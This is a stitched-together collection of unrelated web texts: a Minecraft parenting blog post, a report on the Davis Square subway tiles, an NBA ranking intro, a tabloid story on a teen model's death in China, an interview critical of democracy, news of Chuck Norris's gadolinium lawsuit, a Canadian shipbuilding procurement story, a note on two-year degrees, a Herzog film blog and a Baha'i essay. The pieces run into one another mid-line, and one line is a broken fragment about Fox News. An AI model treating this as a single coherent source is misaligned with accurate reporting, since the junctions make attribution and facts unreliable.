Our bodies are just a way to move our sub-conscious around. We spend most of our lives in our own sub-conscious because our brain likes to do stuff. The brain is in charge, not the body, and the brain is just as interested in solving problems in Minecraft as it is getting hands to move lego-bricks around a table. It soon works out the two-things are related. I can only imagine what would happen if Lego included redstone and pistons in a box. That would be awesome. But as awesome as Mincraft Lego was, it the brain wasn’t fooled.
Sydney is a city where children are often not allowed to play freely outdoors. Certainly where I live, busy roads, the occasional ‘collar bomber’ and so on means kids are more or less constantly directed by adults. Minecraft for some kids is the only realm where they are allowed to roam free and explore. At the same time, most of the parents I know of Minecraft kids understand that like anything kids need a balance in their life, and are not able to manage time as well as adults (some adults).
Parents need to learn not to use Minecraft as stick or candy-cane.
It’s a BAD idea to offer Minecraft time as a reward for ‘good’ behaviour – and a BAD idea to use the removal of it for ‘not good’ behaviour. This is a loop of doom – all it does is break down the trust between kid and parent – which in most cases parents have no idea how to repair. Minecraft is not like a DVD which parents used to use as a techno-babysitter. DVDs are passive loops, the brain likes watching them as they are predictable and expected. Much of the time kids are not actively watching them – they are just zombie-fied on the couch.
Minecraft is not a babysitter
Amazingly, Minecraft is given to ‘occupy’ kids – in fact computers generally are used to keep kids busy. The problem is that Minecraft is not telling your kid a story – it’s not Willy Wonka you are sitting them in front of – it’s Anonymous – and Anonymous will teach them many things. I like the Anon analogy as Minecraft has some great people and projects for kids on the web, and also it has people whom I would not want my kids to go near – not because they are weirdos – but because the time I allow my kids to game – I want to make sure it’s productive and educationally beneficial. I don’t leave that to chance, I make the effort to find out – in just the same way I find out about local sports clubs, guitar tutors or books. Games are not external to parent-domain anymore — after all — you bought the game.
Minecraft is not just a game – its a sub-culture that spills out into YouTube, music, forums, blogs and art.
Of all the games available right now, Minecraft has qualities which allow kids to explore and imagine on an epic scale. Most significantly, there are few rules to learn – reasonable proficiency is achieved in hours. Not because the game is ‘easy’, but because the mechanics are such that a player is engaged in very very fast cause/effect feedback loops. Most of the time, when you die, it’s funny, even ironic – a result of you not thinking hard enough – not random chance.
Is Minecraft educational?
I give a flat yes to this, and in my view Minecraft (used in a game-sensible-model) is as educational as any other technology we’ve added to classrooms – if not more. It can be used to unlock things in kid’s minds that lead to deep learning that isn’t about to achieved with an IWB or Wiki. If we are going to debate this, then also debate whether school – as it is commonly provided – always educational too. Many think not, including numerous scholars such as Henry Jenkins, John Seeley Brown and Sir Ken Robinson. Can I show teachers and parents it is – yes. I can and I do.
Technology at school (which has avoided using games like Minecraft) has not improved outcomes with technology (yet). School leaders in my experience have almost no knowledge or understanding of the power of games – and for no more reason that that – have failed to make any serious effort to fund them, or back teachers who do. Technology has not had any real impact youth unemployment and disenchantment.
If school prepares you for life – what kind of life?
The Hunger Games or the games industry? – One reason kids around the world are learning to code is that they can get access to hero-code poets like @Notch. These people blog, tweet and do accessible random stuff. They are more real than the teacher in many ways. Minecraft is a visual programming language. It blows my mind that in Australia, the dominant programming language taught (cough) at age 16-18 is Visual Basic 6. Learning to use Unity, Unreal, Cry-engine … not going to happen. So why teachers and parent winge when kids start to learn to code in Minecraft is brain-missing. Yes mum, your six year old is engaged in computational thinking and is writing code with those blocks. Playing to learn is well researched in education as a damn good idea.
Computer and video games in Australia is one of the biggest growing sectors of employment. Over $1billion dollars of employment. If school kids are not learning about games at school – where do all the people who work in this industry learn? Where to parents learn.
Minecraft is perhaps the start of a kids interest in their future job – the fact it looks like cubes ignores the cognitive development that is happening with that technology – which in my experience as a parent of kids of a similar age – does not happen at their school.
Minecraft might just be the game that stops your child becoming illiterate – not addicted to something that will make them lazy or ignorant.
Getting parents to understand games
The problem is not school or Minecraft. It’s a social-problem where there are almost no places for parents to go – with kids to learn about games and how to use games in the home to assist the overall development of the child. There is some research on Minecraft, but most parents doing read academic stuff – and there are a few books emerging, but again, they tend not to be bought by parents.
This is why I have tried to create events where kids and parents can come together to talk about games, play games and un-pack what is happening. That is very very hard – as school systems don’t work weekends and venues are expensive … but each time we do – parents discover a side of their child that society has been previously hiding. Amazingly, these things are well attended and have a very positive effect on parents, as we unpack and explain what is happening ‘live’ as their kids hang out and play.
Minecraft is good … you just have to understand how good. I’ll be running one at Macquarie University in the summer holidays – it will be free, so come along if you’re a parent and learn how to put games in kids lives in a positive way. I’ll also be running Minecraft for schools workshop in the next few months with Dr. Bron Stuckey. Addictive learning – yes please. Controlling kids? No.
AdvertisementsIt’s been about 30 years since schoolchildren in Somerville created the artwork for a series of tiles - crudely drawn sailboats, rail cars, and clowns - that now adorn the Davis Square T station’s brick entrance wall.
Many commuters walk by without a pause. But a group of community arts organizers believes these 249 tiles tell the story of a neighborhood that has changed as much as any in Greater Boston in the 25 years since Davis Square got its own subway stop along the MBTA’s Red Line.
In April, members of the Davis Square Tiles Project began an effort to track down the people - now probably between 35 and 45 years old - who created the artwork to find out how their lives have changed and how they view the changes in their old neighborhood.
They want to tell the collective story of the community’s gentrification, with all the complexity and individuality that it entails, and start another conversation about the changes that may come when the Green Line extends into new neighborhoods in Somerville, and Medford over the next five years.
The work in progress, posted on www.davissquaretilesproject.com, is something like a reverse time capsule - coupling the ageless artwork of children with the words, insights, and in some cases photographs of the adults they grew into.
“How many people walk by those tiles and think they were made by some third-grader this year?’’ said Sabino Lagattolla.
Lagattolla, who drew a sailing ship under a beaming yellow sun when he was in second grade, is now a 38-year-old network engineer, living in Hudson with a wife, two children, and another baby due in November. He visits his old hometown with his family, to soak up the past and to stock up on steak at McKinnon’s Meat Market.
Lagattolla’s personal history echoes parts of the neighborhood’s transition from blue-collar working-class families to postgrad hipsters wearing pork pie hats in search of craft beers.
His father was a pipe fitter, his mother a seamstress. They all moved to Somerville from Southern Italy in 1972. Lagatolla remembers the community’s ills - the drug problems that plagued some of his neighbors - and a tight-knit spirit that allowed him to ride 15 blocks on his bicycle without worrying his mother. He only regrets that he could not afford to take over the house he grew up in when his father died in 2000.The Crossover is proud to offer our list of the Top 100 NBA players of 2018, an exhaustive exercise that seeks to define who will be the league's best players in the 2017-18 season.
Given the wide variety of candidates involved and the deep analytical resources available, no single, definitive criterion was used to form this list. Instead, rankings were assigned based on a fluid combination of subjective assessment and objective data. This list is an attempt to evaluate each player in a vacuum, independent of their current team context as much as possible. A player's prospects beyond the 2017-18 season did not play a part in the ranking process.
Injuries and injury risks are an inevitable component of this judgment. Past performance (postseason included) weighed heavily in our assessment, with a skew toward the recent. First-year players were not included. A predictive element also came into play with the anticipated improvement of certain younger players, as well as the possible decline of aging veterans. Salary was not taken into consideration. Otherwise, players were ordered based on their complete games. You can read more here on the limitations of this kind of ranking. To see our 25 biggest snubs from this year, click here.
Please feel free to take a look back to SI.com’s Top 100 Players of 2017, 2016, 2015 and 2014. A special thanks, as always, to those resources that make researching a list like this possible: Basketball-Reference, NBA.com, ESPN.com, Nylon Calculus, and Synergy Sports.The Manhattan US Attorneys office is conducting a criminal investigation into Fox News, informed |
month contract'
14 The teen told her mother that she felt 'exhausted' on the telephone shortly before she passed away
Test results are still awaited on the final cause of her death - which is now the subject of a criminal investigation in Russia.
Initially there were reports in the Russian media that she had been suffering from meningitis and was exhausted after a long shoot.
But her Chinese agency ESEE Model Management has vehemently denied that the brunette teenager - who would have turned 15 next week - died from a punishing schedule.
Instead the agency say she succumbed to septicaemia, an invasion of bacteria into the bloodstream, leading to multiple organ failure and renal and liver dysfunction.
A key issue as Russia seeks China's assistance in probing the case is likely to be whether there was a delay in treating her with antibiotics.
The Siberian Times 14 The young had spent two months in China before her tragic death last week
14 The Chinese model agency which the Russian model worked for denies allegations the teen was worked to death
The Siberian Times 14 The 14-year-old died in China died in China on Friday after participating in Shanghai Fashion Week
14 ESEE Model Management claims Vlada died after contracting blood infection septicaemia
Another is whether her lack of medical insurance delayed getting her to hospital.
In the event, she died less than 14 hours after being rushed to Shanghai Riujin hospital.
Earlier her mother had said Vlada was "exhausted" amid Russian reports of a 13 hour assignment.
"She was calling me, saying 'Mama, I am so tired. I so much want to sleep'.
"It must have been the very beginning of the illness. And then her temperature shot up."
"I didn't sleep myself and was calling her constantly, begging her to go to hospital."
Oxana Dzyuba; EAST2WEST NEWS 14 Vlada Dzyuba, 14 (on the right) with her brother Danil, 18, and their baby sister
14 The case has raised questions about the alleged exploitation of child models
14 The youngster was working in China without medical insurance when she passed away
A directorate of the Russian Investigative Committee has been ordered to take up the probe into Vlada's death.
A spokesman said: "Documents have been seized from the school where the girl studied, and the contract from her Perm modelling agency.
"Her parents and teachers have been questioned, and all necessary enquiries sent to China."
MOST READ IN NEWS MOMO NO-NO Momo Challenge in 'Peppa Pig and Fortnite vids' as YouTube and Instagram slammed Exclusive DARK PAST Homeless man doused in water by rail staff KILLED man who splashed him with paint MOMO SHOCK Creepy'suicide character' Momo told lad, 8, to'stab himself in neck' Latest BLOOD ON THE STREETS Man, 20s, knifed to death in 4th horror stabbing in 7 hours in London SUICIDE WARNING What is Momo and how can parents protect their children? say no no to momo Expert advice on how to keep children safe from online suicide game Momo
We pay for your stories! Do you have a story for The Sun Online news team? Email us at tips@the-sun.co.uk or call 0207 782 4368. We pay for videos too. Click here to upload yoursChilton Williamson, Jr. is a prolific author of both fiction and non-fiction who has worked as an editor for St. Martin’s Press, National Review, and, since 1989, Chronicles: A Magazine of American Culture, published by the Rockford Institute. His most recent book is After Tocqueville: The Promise and Failure of Democracy (ISI, 2012), which John Willson, professor emeritus of history at Hillsdale College, describes as “the best book on democracy in the past hundred years.” Williamson’s novel Mexico Way, will be published in the spring of 2013 by Chronicles Press Books. Williamson recently granted an interview to Carl E. Olson, editor of Catholic World Report, about the nature, difficulties, myths, history, and future of democracy.
CWR: There is constant talk about “democracy,” to the point that most people assume there surely is a clear and common agreement about what that word means. But is there? Can we locate an adequate and widely accepted definition?
Williamson: There is no “adequate and widely accepted definition” of democracy, and hasn’t been for many, many decades—if, indeed, ever. The most common understanding, strikingly phrased by Abraham Lincoln, is that democracy is “government of the people, by the people, and for the people.” “Democracy,” Chesterton said, “is the enthronement of the ordinary man. If it is not that, what is it?” (C.S. Lewis thought it reducible to the practice of voting.) Of course, government, in any but a tiny society, cannot in practice be run “by the people” (at best, it can be managed by representatives chosen by the people), while there is similarly no way to “enthrone” the ordinary man save in the most metaphorical way. Since 1789, “democracy” has meant simply what whoever employs the term—or the society he lives in—means by it. My own definition of modern democracy is “utopia”: a society that has achieved complete equality and justice and in which no man lacks for anything he wants, or decides he wants in future.
CWR: As you demonstrate, it wasn’t that long ago that democracy was considered impractical if not impossible. What changed? How did democracy become such a central notion—or even sacred belief—in the West? Why are we so enamored with “Democracy”?
Williamson: Democracy became a central—and, as you say, actually a sacred—notion when modern democrats lost touch with metaphysical reality to the point where they could no longer apprehend the reality of the human condition. When God “died,” and human beings discovered themselves, as they think, capable of realizing the Christian God’s plan for His Creation without His help and strictly by their own efforts (meaning scientific and pseudo-scientific means, like sociology)—that is when “Democracy” became, for them, a fully realizable goal.
CWR: Alexis de Tocqueville’s book Democracy in America expressed the belief that democracy was inevitable in the United States. But if Tocqueville traveled our nation today, what might be his reaction? What would probably bother him most?
Williamson: If Tocqueville were to return to America today (as Bernard-Henri Lévy, the French savant, tried imaginatively to do a few years ago), he would be struck by several things, all of them in his opinion regrettable. The first would be the centralization—political, cultural, and intellectual—of modern American society, a tendency he deplored in the France of his day. Another would be the tyranny of majority opinion and the stultification of popular thought he predicted (in Democracy in America) would occur under American democracy. Still another would have to do with the corruption of honest and orthodox Christian belief in the United States by modern, or “advanced,” liberal thought. Tocqueville would also view with despair the bureaucratization of government and society he further predicted for American democracy—the replacement of a free citizenry by the soft, tutelary despotism he also foresaw. Finally (in terms of this list, not of the many further possibilities I can imagine) he would take disapproving note of the election, by the government (Brecht’s excellent phrase, out of context), of a new polyglot American people imported from all over the world to replace the original, more or less homogenous European population that arrived in the New World “completely civilized,” as he said, and therefore in no need of instruction in the fundamental beliefs and practices that make democracy possible and created it in the first place.
CWR: Tocqueville, as you explain, saw the flaws and weaknesses in democracy, including the possibility of a form of democratic totalitarianism. How is it possible that democracy can lead to a totalitarian state? Have we arrived there already?
Williamson: Democracy leads to totalitarianism chiefly through an unswerving and single-minded dedication on the part of its elected leaders to achieve total “democratic” equality for its citizens. Democracy is totalitarian to the degree that it is an equalitarian project.
CWR: How has the rise of relativism and a slow-burning revolt against Christianity undermined and transformed democracy? Is it possible to have a democratic state without a foundation of Judeo-Christian beliefs?
Williamson: A democratic state is indeed possible without a grounding in Christian belief, though it is unlikely to survive long without the formative influence that brought it into existence in the first place. Democracy is based on and expresses a commitment to civility, a quality that traces essentially from the classical world and was subsequently reinforced by the Christian notion of chivalry. Without civility and chivalry, attempts to create or sustain democracy go the way of those destructive efforts we are currently witnessing in the Arab world, where civility toward anyone who disagrees with you is literally unthinkable.
It is possible also to have democracy without liberalism (itself a perversion of Christian social and political thought), as the history of the Third Reich demonstrates. In Europe, democracy followed the socialistic path; in the US, the nationalist one. Both socialism and nationalism are natural tendencies in democracy. Put them together, as Hitler did, and you have National Socialism. Nazi Germany, indeed, was a realized democracy for Aryans and Christians—while excluding and persecuting everyone else. But there was nothing “undemocratic” in this exclusion. It was simply an application of the majority will, of which democracy is supposed to be the expression.
The germ of After Tocqueville was the intuition that “democracy,” from the very beginning, has been a revolt against authority, both human and Divine, as the history of the Middle Ages—the unrelenting attack upon the social and political authority, first of the monarchs, then of the Church—shows.
The contemporary French political philosopher Claude Polin correctly argues that democracy sets the will of the majority above the will of God. The more the democratic majority becomes unchallengeable, the more divine authority is subject to dismissal by that majority. And the more the democratic majority dismisses Christian moral and social teaching, the more it weakens the democracy it represents.
CWR: What are the key differences between a democracy and a republic? And how and why are the differences important for Americans today?
Williamson: The idea of a republic is a classical notion, arising from the Greek city states and based on the classical understanding of what men are—of human nature as unchanging and universal. It is thus fundamentally a religious concept, wholly alien to the modern democratic idea. While the terms “republic” and “democracy” are often conflated, Polin insists that the two things are actual opposites. A republic, he says, is “the unity of a diversity” in which a balance is struck between private and public, local and central, interests. Republicans are independent, but do not value their freedom as individuals above their membership in the community. A republic is a middle-class society founded on an agrarian interest that does not hold one man’s interest at the expense of another man. It is a community on a small geographical scale, allowing its citizens a familiarity with one another. And it is characterized by minimum government, whose actions do not depend for their legitimacy upon the citizens’ political participation in the decisions leading up to them. The leaders of a republic are intellectually and morally prominent people, and popular participation is chiefly by representation. Clearly, this description of a republic is not congruent with democracy as the word has been used since 1789; yet it was a “republic,” and not a “democracy,” that the American Founders sought to achieve. Their vision was maintained until the 1830s by the Federalist Party, when it was finally swamped by the naturally more popular (and populist) democratic one.
The political philosopher Donald W. Livingston holds that the political history of the United States consists of a series of attempts to reconcile the Founders’ misapplication of the republican ideal to the immense size of the territory the Constitution proposed to govern. The better modern day Americans understand this fact, the better they are equipped to come to terms with their history, understand contemporary problems for what they are, grapple with these, and devise solutions for them.
CWR: You argue we have witnessed, in the 20th century, the rise of the “modern leviathan state,” and now we are witnessing the rise of “corporate-state societies.” What does this mean for the future of democracy in the US and the West in general?
Williamson: I believe the future for liberal capitalist democracy in American and the West is very dim, for several reasons. One is the scale of modern societies, beginning with their mass populations that must somehow be more and more tightly governed as they become increasingly hedonistic and irresponsible, practically and morally speaking. Another is industrialism and technology, which demand a counterweight to their growing public power—a counterweight that can only be government. At the same time, government cannot successfully manage the great corporations to produce either efficiency or profit, a fact which results in a fusing of the two and the pooling of their expertise and power—something that has been happening, of course, since the late 19th century. Moreover, the degradation of the natural world by industrialism and over-population (not in Christian terms, of course, but in ecological ones) demands a coordinated response by powerful governments internationally—a response which, though it appears to be an international moral obligation, is impossible to coordinate politically and defies all imaginable scientific knowledge and technique.
In short, human society in the post-modern age has arrived at such a state of unfathomable complexity that it is today ungovernable and unmanageable at the same time. This will not prevent governments, of course, from trying both to govern and to manage—a collective effort that will lead eventually to a paradoxical social condition in which chaos exists alongside of despotism. In other words, something like contemporary Russia and the Republic of China, raised to the nth degree.
CWR: In recent weeks, riots, violence, and murder have “broken out” in Egypt and other parts of the Middle East. Why do we persist with the grand goal of importing and establishing democracy in the Middle East?
Williamson: It is of course impossible for any country to export democracy to the Middle East, whose societies have no history of democratic institutions and whose people lack a tradition of public civility and restraint. The reasons why we persist in trying to do so include self-delusion; national grandiosity, self-importance, moral superiority, and arrogance; want of knowledge of history combined with ideological thinking that feeds millennial illusions; the lust for global political and economic power; the military-industrial complex decried by President Eisenhower; the anti-republican conviction that the United States must always be “doing something” in the world; and concern for imperial show and international publicity and a fixation with global public relations.
CWR: What are the primary myths about democracy today? How can we rid ourselves of the myths?
Williamson: The principle myth regarding democracy today is the democratic conviction that democracy is not only the best form of government, it is also the sole decent and humane one. People who think this way apparently believe also that all of the millions of people in the world who lived before the coming of the First Republic endured lives that were scarcely human, despite considerable evidence to the contrary. In fact, as I argue in After Tocqueville, there is no single best form of government, but only that form of government which is best suited to a particular time and place. Considered as an ideal, democracy indeed is probably the worst form of government; yet it was arguably preferable, in the American colonies at the end of the 18th century, to constitutional monarchy—to my mind, and that of the Church before Vatican II, the best form (ideally speaking).
A second myth traces from the strange conviction among democratic ideologues that, as Francis Fukuyama argued two decades ago, liberal democratic capitalism is the ideal toward which all history has been tending, and that no ideal superior to it exists. Others (though not necessarily Fukuyama) reason from here to argue that liberal democracy is what all people (and all peoples) really want, and that their wanting it ensures that they will eventually have it. In fact, history shows that, more often than not, what people want is precisely want they don’t get.
How to rid ourselves of these, and other myths related to democracy? There is only one way, I think, to accomplish this, and that is to read history. This, however, does not seem to me a prescription palatable to mass democratic men—even less so their democratically elected leaders.Action star Chuck Norris is suing 11 drug companies that he claims are responsible for poisoning his wife with a chemical used in MRI scanning.
Former model Gena Norris, 54, had three MRI scans in one week five years ago to assess her rheumatoid arthritis.
But she claims the dye used to improve the clarity of her scans - gadolinium - left her close to death, costing $2million in out-of-pocket medical fees, and says she has suffered permanent weakness, exhaustion, bouts of pain, cognitive issues and a burning feeling ever since.
Now movie star Chuck, 77, has filed a lawsuit on behalf of his wife of 19 years against a plethora of manufacturers who produce the contrast dye, including McKesson and Bracco, two heavyweights in the industry.
Former model Gena Norris, 54, pictured with her husband of 19 years, action star Chuck Norris, 77, in 2009. They are suing 11 drug companies over an MRI chemical which they claim left Gena close to death, with lingering physical impairments, and a need for regular stem cell therapy
The lawsuit filed on Wednesday in San Francisco alleges that the gadolinium left Gena with Gadolinium Deposition Disease, a rare syndrome triggered by the dye.
In the years since, she claims, she has been forced to have regular stem cell therapies to treat lingering issues with her central nervous system.
She said: 'Unfortunately, litigation is the only course of action we can take to hold the drug companies accountable for threatening the lives of so many innocent people who undergo MRIs.
'These companies continue to say that there is no link between gadolinium and adverse events, even though the evidence is overwhelming that this heavy metal stays in the body for years, rather than hours.'
Gadolinium is a metal found in so-called contrast agents used in many MRIs. Studies have shown it is retained by organs such as the brain, bones and skin. The American College of Radiology said in a statement last year that gadolinium-based contrast agents have been used for diagnosis and treatment guidance in more than 300 million patients worldwide since the late 1980s and provide 'crucial, life-saving medical information.'
The U.S. Food and Drug Administration said in May it found no evidence that retained gadolinium was harmful. A European Union agency reached the same conclusion in July but still recommended suspending some gadolinium contrast agents as a precaution.
The law firm representing the Norris', Cutter Law, has filed numerous lawsuits in recent weeks on behalf of people who it also says are suffering from gadolinium poisoning.
The Norris' lawsuit acknowledges no official, publicly stated link between gadolinium and symptoms reported by people who believe the metal has affected their health. But that's in part because blood and urine testing for gadolinium only became available recently and most doctors were not aware of any disease that was associated with gadolinium other than one that affects people with kidney problems, the lawsuit said.
'One of the problems is this is a very misdiagnosed and underdiagnosed condition,' said Todd Walburg, an attorney for the Norris'.
The lawsuit accuses several manufacturers of gadolinium contrast agents of knowing about their risks, but failing to warn consumers. It seeks more than $10 million in damages, saying the Norris' have had to spend millions of dollars on treatment for Gena Norris.The head of Irving Shipbuilding Inc. intervened in the Trudeau government’s last-minute decision to review a contract for a $700-million interim supply ship for the Royal Canadian Navy.
The terms for the purchase of the ship, currently being built at Quebec’s Davie Shipyards, had been approved by the Conservatives prior to the election but was subject to review this week by the incoming Liberals.
In the letter, dated Nov. 17 and obtained by iPolitics, Irving co-chief executive officer James (Jimmy) Irving asked Defence Minister Harjit Sajjan and Public Services and Procurement Minister Judy Foote to help delay approval of the deal until after the government allows a proposal by Irving and U.S.-based Maersk Line Ltd. to be “competitively evaluated.”
“We understand that a contract for Davie Shipyard to provide the Interim Refuelling at Sea capability is awaiting approval by the new Government,” Irving writes. “I ask your support to request that the Irving-Maersk proposal be competitively evaluated before a contract is placed.”
Also copied on the letter were Finance Minister Bill Morneau and Treasury Board President Scott Brison, who represents the Nova Scotia riding of Kings-Hants.
Irving’s request appears to have been successful as the new government announced Friday that it will hit pause and take another two months to make a final decision. If the government fails to finalize the contract by Nov. 30, it must pay Davie an $89-million penalty, iPolitics confirmed.
That money is intended to compensate Davie for costs incurred through preparations to get started on the project – the company has already hired workers and bought the ship it intends to retrofit as a supply vessel, the MV Asterix.
Davie received the contract for the supply ship because of delays at the Vancouver-based Seaspan, which had the original contract for the two Joint Support Ships ordered under the $35-billion National Shipbuilding Procurement Strategy (NSPS).
The government says the first Joint Support Ship is expected in 2021.
The navy’s last two supply ships had to be retired recently after 45 years of service – HMCS Protecteur caught fire off the coast of Hawaii and HMCS Preserver rusted out despite valiant efforts by the navy to source parts off of eBay.
Without supply ships, Canadian vessels need to rely on allies for refuelling and resupplying or stick close to home, which significantly limits the navy’s capabilities.
Irving has already won the largest chunk of the NSPS, a $26-billion contract for the combat vessels, which will see it build six DeWolfe-class Arctic offshore patrol ships and 15 Canadian surface combatants.
Of those, Irving reportedly also won the prime contractor status on the surface combatant contract without competition.
Vancouver-based Seaspan won the smaller, $8-billion contract for non-combat vessels, including three Offshore Fisheries Science Vessels, one Offshore Oceanographic Science Vessel, two Joint Support Ships, one Polar Icebreaker, up to five Medium Endurance Multi-tasked Vessels and up to five Offshore Patrol Vessels.
Davie lost out on both those contracts, the biggest chunks of the total $35-billion budget of the NSPS, but has won three much smaller contracts through the program: the $13.6-million contract to refit the Canadian Coast Guard Ship Earl Grey, the $6.5-million contract for refit work on the Louis S. St-Laurent and a $4.5-million contract to refit the Des Groseilliers.
In April, Davie offered to retrofit a commercial vessel as a naval supply ship after it became clear that it will be years before Seaspan is able to get the Joint Support Ships in the water.
The government then changed the rules around when it can grant sole-sourced contracts, which allowed it to give the $700-million deal to Davie.
Under those changes, a non-competitive process would be allowable in “urgent” cases and as long as they were for interim, not long-term, solutions.
Former defence minister Jason Kenney said at the time of the decision that Davie provided a “flexibility” that Irving could not and that getting a replacement supply ship was not something that could wait for the years that a competitive process would take.
In his Nov. 17 letter to Sajjan and Foote, Irving wrote that his company also approached the federal government with its own plan to bridge the gap between the Joint Support Ships and no ships in January 2015.
“We had full expectation that our proposal would be evaluated in a fair and transparent manner,” Irving wrote. “However in June 2015, without any further engagement or explanation of the merits of our proposal, the Government decided to pursue a sole source contract with Davie Shipyard in Quebec. This was done on a non-competitive basis without transparency and without a full evaluation of cost, delivery schedule, capability, and risk associated with the Irving-Maersk proposal.”
The Irving-Maersk proposal would use a five-year-old ship that “can be converted in less than a year” and would allow for refuelling capabilities.
Irving also branded the proposal as potentially allowing the ships to be used more often for humanitarian assistance and disaster relief, saying Maersk “has already successfully modified an identical ship for the United States Special Forces.”
It estimates the cost of conversion at between $75 million and $100 million, “depending on the range of capability requested,” and would cost $20 million per year in crewing and maintenance costs going forward.
In contrast, the Davie plan would result in a ship that “could not only supply fuel but also ammunition, water, spare parts and food to individual ships or naval task groups, as well as to support task group helicopters.”
If Irving had presented a proposal that matched those capabilities, its costs would likely be much higher than the proposed $75 million to $100 million, one defence source said.
As well, Irving also stressed that his company had already invested $360 million in redesigning its Halifax shipyard – but neglected to mention that the bulk of that investment was taxpayer-funded.
In order to conduct upgrades necessary to win the $26-billion combat vessel contract, Irving got $304 million in provincial money for its shipyard- $260 million of that in the form on non-repayable loans and $44 million worth of repayable loans.
The $260 million loan will be forgiven if Irving and its direct sub-contractors create 4,000 jobs in Nova Scotia.
But in his letter to Sajjan and Foote, Irving appeared to imply that the company itself had put up the hundreds of millions of dollars behind the shipyard reconstruction.
“Irving Shipbuilding has invested $360 million to build the most modern shipyard in North America,” Irving wrote.
Defence insiders say Irving should have been clear that the majority of the money invested in the shipyard redesign was not the company’s own if it was attempting to use that as a factor to persuade the government to re-evaluate its proposal.
“I really don’t have a view on it other than if I were a taxpayer of Nova Scotia, I wouldn’t be too happy if – based on what you tell me – Irving was claiming the [$360 million] was their investment and not from the people of Nova Scotia,” said one industry executive with extensive knowledge of the National Shipbuilding Procurement Strategy.
Nova Scotia Premier Stephen McNeil could not be reached for comment but Irving president Kevin McCoy issued a statement Saturday morning addressing the letter.
“Our request has an continues to be for an open, merit-based evaluation of all proposals to ensure the best solution for the Navy and best value to Canadians,” McCoy said in the emailed statement.
However, Quebec Premier Philippe Couillard warned Friday that he “will simply not allow” any changes to be made to the plans to have Davie build the interim ship.By comparison, people who have earned two-year degrees have substantially lower jobless rates than high school dropouts. And perhaps the most intriguing differences are between the two kinds of community-college graduates: those with an occupational degree and those with an academic degree.
An occupational degree is one “for which the primary purpose is gainful employment and career development,” according to the Accrediting Council for Continuing Education and Training. People who earn such degrees become nurses, firefighting supervisors, pilots, detectives, dental hygenists and nuclear and electric technicians, among other things.
Their unemployment rates are also noticeably lower than those for people with academic two-year degrees (which are intended to help people transfer to a four-year college). The overall unemployment rate for people with occupational two-year degrees was 4 percent in April, compared with 4.8 percent for holders of academic two-year degrees.
Does this mean occupational degrees are a better bet than academic degrees? Not necessarily. The most valuable aspect of a two-year academic degree is the path it can provide to a four-year degree. The jobless rate for people with bachelor’s degrees is even lower: 3.1 percent. And the pay of people with four-year degrees has fared better over the past decade than the pay of people with two-year degrees.
The problem with many two-year academic programs is their sky-high dropout rates. The overall lesson for people looking at two-year colleges is the same as for those looking at four-year colleges: If you start, make sure you have a plan for finishing.Posted on 28 May 2009 by ShepRamsey
Werner Herzog is easily among my top five directors of all time and I have a faith in this man unlike little else. And even I’m not sure what to make of this.
Now, when it was announced a ways back that Herzog was remaking Abel Ferarra’s 1992 drama Bad Lieutenant with none other than Nicolas Cage, I was intrigued. Confused, but intrigued. When he said that he had never seen the original film and it wasn’t a “remake,” I was very intrigued. But pa rt of me didn’t really believe that any of this was real. Even when the poster on the left was released, it still seemed fake.
Well, now it’s all very real. Now there’s this trailer for Bad Lieutenant: Port of Call New Orleans and I just don’t know what to say. It’s not at all what I expected despite the fact that I had no idea what to expect. It’s pretty obvious, too, that Herzog hasn’t seen the original and isn’t concerned with that.
The original is a good film, but more of a performance movie than anything else, showcasing the incredible talent of Harvey Keitel. It’s certainly not the over-the-top black comedy that’s on display here.
Some of it’s awesome, some of it’s not, and some of it’s just plain fucked up. But one thing’s for sure: none of it is recognizably Herzog. To watch this trailer and think to myself that it was made by the same guy that gave me Fitzcarraldo, Aguirre The Wrath of God, and The Enigma of Kaspar Hauser simply blows my mind.
The Herzog I know is a quiet and somber filmmaker whose films ponder the unanswerable questions of the human condition. This movie looks like a send-up of dirty-cop movies like the original, Training Day, Harsh Times, etc. And that’s not Herzog territory at all.
Anyway, enough with my confused bewilderment. I’m holding onto my Herzog-loyalty and my complete faith in the man and trusting him with this one. If nothing else, it’s certainly mighty quotable.
My soul’s still dancing!The views expressed in our content reflect individual perspectives and do not represent the official views of the Baha'i Faith.
God’s plan comes to fruition in the world through individual transformation and action.
Baha’is believe that our activities, our exertions to draw on that power, our conscious efforts to channel it and translate it into actions, all combine to crystallize those forces released by Baha’u’llah into patterns and social structures that embody God’s will for humanity. For Baha’is, the grace of God expresses itself in human affairs through the efforts of individual souls to know Him, love Him and serve Him.
The path of action through which we fulfill God’s intention for humanity is also the path that allows us to attain our own highest stage of the excellence latent in each one of us. Abdu’l-Baha explains that, while we can potentially express and reflect the light of all the names and attributes of God, a dominant name of God acts in every individual:
Without doubt each being is the center of the shining forth of the glory of God — that is to say, the perfections of God appear from it and are resplendent in it. It is like the sun, which is resplendent in the desert, upon the sea, in the trees, in the fruits and blossoms, and in all earthly things. The world, indeed each existing being, proclaims to us one of the names of God, but the reality of man is the collective reality, the general reality, and is the center where the glory of all the perfections of God shine forth — that is to say, for each name, each attribute, each perfection which we affirm of God there exists a sign in man. – Abdu’l-Baha, Some Answered Questions, p. 195.
This is why each of us views the Baha’i teachings — and views life — from a somewhat different perspective. Perhaps the name of God the Merciful dominates in one person, and in another the name of God the Knower. One person has a tremendous thirst for knowledge while another person shows a thirst for ministering to people’s needs. The unique endowment of divine spirit, which is the character of each human being, will come to light and be fully expressed through our individual efforts to serve the divine plan. Each of us has a distinct role to play, each has a unique contribution to make to the construction of a new, unified and peaceful world. In the final analysis, no one can play the role of anyone else or deprive another of their service.
For our own well-being, and for the sake of humanity, Baha’is try to dedicate ourselves to channelling the creative energies released by Baha’u’llah.
Divine power is on tap and available to us all. We are surrounded and permeated by celestial energies, immersed in God’s ocean of light. The Baha’i writings affirm that there is no limit to God’s might and glory, saying that we should ‘lift up the veil’ and strive for ‘constant awareness of His Presence’. Baha’u’llah makes it clear that God’s love is the cause of our creation and that the very definition of paradise for human beings is His love.
For our own sake, Baha’u’llah wants us to draw nearer to God, to the center of holiness and light and love. We can reach the greatest possible joy and contentment through moving ever closer to the source of all bounty, beauty, peace and illumination. The only obstacle, Baha’u’llah tells us, is this world:
